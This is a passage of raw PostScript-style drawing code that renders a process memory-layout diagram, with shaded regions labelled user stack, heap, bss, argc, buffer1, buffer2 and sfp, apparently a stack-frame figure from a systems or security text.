DOCLIPBOX n 2848 9873 M 5850 9873 L 5850 9859 L 2848 9859 L GS 0.0000 0.0000 0.0000 0.6784 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9859 M 5850 9859 L 5850 9847 L 2848 9847 L GS 0.0000 0.0000 0.0000 0.6706 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9847 M 5850 9847 L 5850 9835 L 2848 9835 L GS 0.0000 0.0000 0.0000 0.6627 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9835 M 5850 9835 L 5850 9823 L 2848 9823 L GS 0.0000 0.0000 0.0000 0.6549 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9823 M 5850 9823 L 5850 9809 L 2848 9809 L GS 0.0000 0.0000 0.0000 0.6471 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9809 M 5850 9809 L 5850 9797 L 2848 9797 L GS 0.0000 0.0000 0.0000 0.6392 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9797 M 5850 9797 L 5850 9785 L 2848 9785 L GS 0.0000 0.0000 0.0000 0.6314 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9785 M 5850 9785 L 5850 9772 L 2848 9772 L GS 0.0000 0.0000 0.0000 0.6235 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9772 M 5850 9772 L 5850 9759 L 2848 9759 L GS 0.0000 0.0000 0.0000 0.6157 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9759 M 5850 9759 L 5850 9746 L 2848 9746 L GS 0.0000 0.0000 0.0000 0.6078 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9746 M 5850 9746 L 5850 9734 L 2848 9734 L GS 0.0000 0.0000 0.0000 0.6000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9734 M 5850 9734 L 5850 9720 L 2848 9720 L GS 0.0000 0.0000 0.0000 0.5922 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9720 M 5850 9720 L 5850 9708 L 2848 9708 L GS 0.0000 0.0000 0.0000 0.5843 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9708 M 5850 9708 L 5850 9696 L 2848 9696 L GS 0.0000 0.0000 0.0000 0.5765 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9696 M 5850 9696 L 5850 9684 L 2848 9684 L GS 0.0000 0.0000 0.0000 0.5686 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9684 M 5850 9684 L 5850 9670 L 2848 9670 L GS 0.0000 0.0000 0.0000 0.5608 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9670 M 5850 9670 L 5850 9658 L 2848 9658 L GS 0.0000 0.0000 0.0000 0.5529 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9658 M 5850 9658 L 5850 9646 L 2848 9646 L GS 0.0000 0.0000 0.0000 0.5451 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9646 M 5850 9646 L 5850 9634 L 2848 9634 L GS 0.0000 0.0000 0.0000 0.5373 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9634 M 5850 9634 L 5850 9620 L 2848 9620 L GS 0.0000 0.0000 0.0000 0.5294 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9620 M 5850 9620 L 5850 9607 L 2848 9607 L GS 0.0000 0.0000 0.0000 0.5216 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9607 M 5850 9607 L 5850 9595 L 2848 9595 L GS 0.0000 0.0000 0.0000 0.5137 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9595 M 5850 9595 L 5850 9583 L 2848 9583 L GS 0.0000 0.0000 0.0000 0.5059 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9583 M 5850 9583 L 5850 9569 L 2848 9569 L GS 0.0000 0.0000 0.0000 0.4980 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9569 M 5850 9569 L 5850 9557 L 2848 9557 L GS 0.0000 0.0000 0.0000 0.4902 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9557 M 5850 9557 L 5850 9545 L 2848 9545 L GS 0.0000 0.0000 0.0000 0.4824 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9545 M 5850 9545 L 5850 9533 L 2848 9533 L GS 0.0000 0.0000 0.0000 0.4745 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9533 M 5850 9533 L 5850 9519 L 2848 9519 L GS 0.0000 0.0000 0.0000 0.4667 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9519 M 5850 9519 L 5850 9507 L 2848 9507 L GS 0.0000 0.0000 0.0000 0.4588 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9507 M 5850 9507 L 5850 9495 L 2848 9495 L GS 0.0000 0.0000 0.0000 0.4510 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9495 M 5850 9495 L 5850 9481 L 2848 9481 L GS 0.0000 0.0000 0.0000 0.4431 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9481 M 5850 9481 L 5850 9469 L 2848 9469 L GS 0.0000 0.0000 0.0000 0.4353 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9469 M 5850 9469 L 5850 9456 L 2848 9456 L GS 0.0000 0.0000 0.0000 0.4275 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9456 M 5850 9456 L 5850 9444 L 2848 9444 L GS 0.0000 0.0000 0.0000 0.4196 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9444 M 5850 9444 L 5850 9430 L 2848 9430 L GS 0.0000 0.0000 0.0000 0.4118 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9430 M 5850 9430 L 5850 9418 L 2848 9418 L GS 0.0000 0.0000 0.0000 0.4039 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9418 M 5850 9418 L 5850 9406 L 2848 9406 L GS 0.0000 0.0000 0.0000 0.3961 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9406 M 5850 9406 L 5850 9394 L 2848 9394 L GS 0.0000 0.0000 0.0000 0.3882 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9394 M 5850 9394 L 5850 9380 L 2848 9380 L GS 0.0000 0.0000 0.0000 0.3804 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9380 M 5850 9380 L 5850 9368 L 2848 9368 L GS 0.0000 0.0000 0.0000 0.3725 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9368 M 5850 9368 L 5850 9356 L 2848 9356 L GS 0.0000 0.0000 0.0000 0.3647 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9356 M 5850 9356 L 5850 9344 L 2848 9344 L GS 0.0000 0.0000 0.0000 0.3569 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9344 M 5850 9344 L 5850 9330 L 2848 9330 L GS 0.0000 0.0000 0.0000 0.3490 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9330 M 5850 9330 L 5850 9317 L 2848 9317 L GS 0.0000 0.0000 0.0000 0.3412 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9317 M 5850 9317 L 5850 9305 L 2848 9305 L GS 0.0000 0.0000 0.0000 0.3333 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9305 M 5850 9305 L 5850 9293 L 2848 9293 L GS 0.0000 0.0000 0.0000 0.3255 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9293 M 5850 9293 L 5850 9279 L 2848 9279 L GS 0.0000 0.0000 0.0000 0.3176 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9279 M 5850 9279 L 5850 9267 L 2848 9267 L GS 0.0000 0.0000 0.0000 0.3098 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9267 M 5850 9267 L 5850 9151 L 2848 9151 L GS 0.0000 0.0000 0.0000 0.3020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9986 M 5850 9986 L 5850 9151 L 2848 9151 L 2848 9986 L 5850 9986 L 14 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS 2820 10000 5879 5802 DOCLIPBOX n 4006 9288 M (user stack) ST GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9151 M 5852 9151 L 14 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6569 M 5850 6569 L 5850 6463 L 2848 6463 L GS 0.0000 0.0000 0.0000 0.3020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6463 M 5850 6463 L 5850 6451 L 2848 6451 L GS 0.0000 0.0000 0.0000 0.3020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6451 M 5850 6451 L 5850 6440 L 2848 6440 L GS 0.0000 0.0000 0.0000 0.3098 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6440 M 5850 6440 L 5850 6428 L 2848 6428 L GS 0.0000 0.0000 0.0000 0.3176 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6428 M 5850 6428 L 5850 6418 L 2848 6418 L GS 0.0000 0.0000 0.0000 0.3255 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6418 M 5850 6418 L 5850 6406 L 2848 6406 L GS 0.0000 0.0000 0.0000 0.3333 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6406 M 5850 6406 L 5850 6395 L 2848 6395 L GS 0.0000 0.0000 0.0000 0.3412 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6395 M 5850 6395 L 5850 6383 L 2848 6383 L GS 0.0000 0.0000 0.0000 0.3490 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6383 M 5850 6383 L 5850 6373 L 2848 6373 L GS 0.0000 0.0000 0.0000 0.3569 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6373 M 5850 6373 L 5850 6360 L 2848 6360 L GS 0.0000 0.0000 0.0000 0.3647 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6360 M 5850 6360 L 5850 6350 L 2848 6350 L GS 0.0000 0.0000 0.0000 0.3725 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6350 M 5850 6350 L 5850 6338 L 2848 6338 L GS 0.0000 0.0000 0.0000 0.3804 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6338 M 5850 6338 L 5850 6327 L 2848 6327 L GS 0.0000 0.0000 0.0000 0.3882 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6327 M 5850 6327 L 5850 6315 L 2848 6315 L GS 0.0000 0.0000 0.0000 0.3961 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6315 M 5850 6315 L 5850 6305 L 2848 6305 L GS 0.0000 0.0000 0.0000 0.4039 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6305 M 5850 6305 L 5850 6293 L 2848 6293 L GS 0.0000 0.0000 0.0000 0.4118 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6293 M 5850 6293 L 5850 6282 L 2848 6282 L GS 0.0000 0.0000 0.0000 0.4196 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6282 M 5850 6282 L 5850 6270 L 2848 6270 L GS 0.0000 0.0000 0.0000 0.4275 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6270 M 5850 6270 L 5850 6260 L 2848 6260 L GS 0.0000 0.0000 0.0000 0.4353 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6260 M 5850 6260 L 5850 6248 L 2848 6248 L GS 0.0000 0.0000 0.0000 0.4431 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6248 M 5850 6248 L 5850 6235 L 2848 6235 L GS 0.0000 0.0000 0.0000 0.4510 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6235 M 5850 6235 L 5850 6225 L 2848 6225 L GS 0.0000 0.0000 0.0000 0.4588 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6225 M 5850 6225 L 5850 6213 L 2848 6213 L GS 0.0000 0.0000 0.0000 0.4667 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6213 M 5850 6213 L 5850 6202 L 2848 6202 L GS 0.0000 0.0000 0.0000 0.4745 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6202 M 5850 6202 L 5850 6190 L 2848 6190 L GS 0.0000 0.0000 0.0000 0.4824 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6190 M 5850 6190 L 5850 6180 L 2848 6180 L GS 0.0000 0.0000 0.0000 0.4902 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6180 M 5850 6180 L 5850 6168 L 2848 6168 L GS 0.0000 0.0000 0.0000 0.4980 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6168 M 5850 6168 L 5850 6157 L 2848 6157 L GS 0.0000 0.0000 0.0000 0.5059 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6157 M 5850 6157 L 5850 6145 L 2848 6145 L GS 0.0000 0.0000 0.0000 0.5137 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6145 M 5850 6145 L 5850 6135 L 2848 6135 L GS 0.0000 0.0000 0.0000 0.5216 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6135 M 5850 6135 L 5850 6123 L 2848 6123 L GS 0.0000 0.0000 0.0000 0.5294 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6123 M 5850 6123 L 5850 6112 L 2848 6112 L GS 0.0000 0.0000 0.0000 0.5373 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6112 M 5850 6112 L 5850 6100 L 2848 6100 L GS 0.0000 0.0000 0.0000 0.5451 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6100 M 5850 6100 L 5850 6090 L 2848 6090 L GS 0.0000 0.0000 0.0000 0.5529 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6090 M 5850 6090 L 5850 6077 L 2848 6077 L GS 0.0000 0.0000 0.0000 0.5608 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6077 M 5850 6077 L 5850 6067 L 2848 6067 L GS 0.0000 0.0000 0.0000 0.5686 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6067 M 5850 6067 L 5850 6055 L 2848 6055 L GS 0.0000 0.0000 0.0000 0.5765 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6055 M 5850 6055 L 5850 6044 L 2848 6044 L GS 0.0000 0.0000 0.0000 0.5843 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6044 M 5850 6044 L 5850 6032 L 2848 6032 L GS 0.0000 0.0000 0.0000 0.5922 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6032 M 5850 6032 L 5850 6020 L 2848 6020 L GS 0.0000 0.0000 0.0000 0.6000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6020 M 5850 6020 L 5850 6010 L 2848 6010 L GS 0.0000 0.0000 0.0000 0.6078 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6010 M 5850 6010 L 5850 5998 L 2848 5998 L GS 0.0000 0.0000 0.0000 0.6157 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5998 M 5850 5998 L 5850 5987 L 2848 5987 L GS 0.0000 0.0000 0.0000 0.6235 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5987 M 5850 5987 L 5850 5975 L 2848 5975 L GS 0.0000 0.0000 0.0000 0.6314 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5975 M 5850 5975 L 5850 5965 L 2848 5965 L GS 0.0000 0.0000 0.0000 0.6392 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5965 M 5850 5965 L 5850 5952 L 2848 5952 L GS 0.0000 0.0000 0.0000 0.6471 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5952 M 5850 5952 L 5850 5942 L 2848 5942 L GS 0.0000 0.0000 0.0000 0.6549 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5942 M 5850 5942 L 5850 5930 L 2848 5930 L GS 0.0000 0.0000 0.0000 0.6627 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5930 M 5850 5930 L 5850 5919 L 2848 5919 L GS 0.0000 0.0000 0.0000 0.6706 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5919 M 5850 5919 L 5850 5907 L 2848 5907 L GS 0.0000 0.0000 0.0000 0.6784 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5907 M 5850 5907 L 5850 5897 L 2848 5897 L GS 0.0000 0.0000 0.0000 0.6863 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5897 M 5850 5897 L 5850 5885 L 2848 5885 L GS 0.0000 0.0000 0.0000 0.6941 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5885 M 5850 5885 L 5850 5874 L 2848 5874 L GS 0.0000 0.0000 0.0000 0.7020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5874 M 5850 5874 L 5850 5862 L 2848 5862 L GS 0.0000 0.0000 0.0000 0.7098 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5862 M 5850 5862 L 5850 5852 L 2848 5852 L GS 0.0000 0.0000 0.0000 0.7176 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5852 M 5850 5852 L 5850 5840 L 2848 5840 L GS 0.0000 0.0000 0.0000 0.7255 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5840 M 5850 5840 L 5850 5829 L 2848 5829 L GS 0.0000 0.0000 0.0000 0.7333 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5829 M 5850 5829 L 5850 5817 L 2848 5817 L GS 0.0000 0.0000 0.0000 0.7412 SET_CMYK eofill GR 0.0000 0.0000 0.0000 0.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6569 M 5850 6569 L 5850 5817 L 2848 5817 L 2848 6569 L 5850 6569 L 14 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6234 M 5852 6234 L 56 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6567 M 5852 6567 L 14 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 2820 10000 5879 5802 DOCLIPBOX n 4182 6371 M (heap) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS 2820 10000 5879 5802 DOCLIPBOX n 4198 9719 M (argc) ST GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9568 M 5852 9568 L 56 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 2820 10000 5879 5802 DOCLIPBOX n 4240 5942 M (bss) ST GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9986 M 2848 5815 L 28 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 5848 9986 M 5848 5815 L 28 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 9984 M 5852 9984 L 28 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 5817 M 5852 5817 L 28 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 8567 M 5852 8567 L 14 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 8234 M 5852 8234 L 14 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 7901 M 5852 7901 L 14 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 7567 M 5852 7567 L 14 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 2820 10000 5880 5801 DOCLIPBOX n 2848 6900 M 5852 6900 L 14 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p120000 SETFONT GS 2820 10000 5879 5802 DOCLIPBOX n 3993 6704 M (buffer2) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 2820 10000 5879 5802 DOCLIPBOX n 3993 7038 M (buffer1) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 2820 10000 5879 5802 DOCLIPBOX n 4181 7371 M (sfp) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 2820 10000 5879 5802 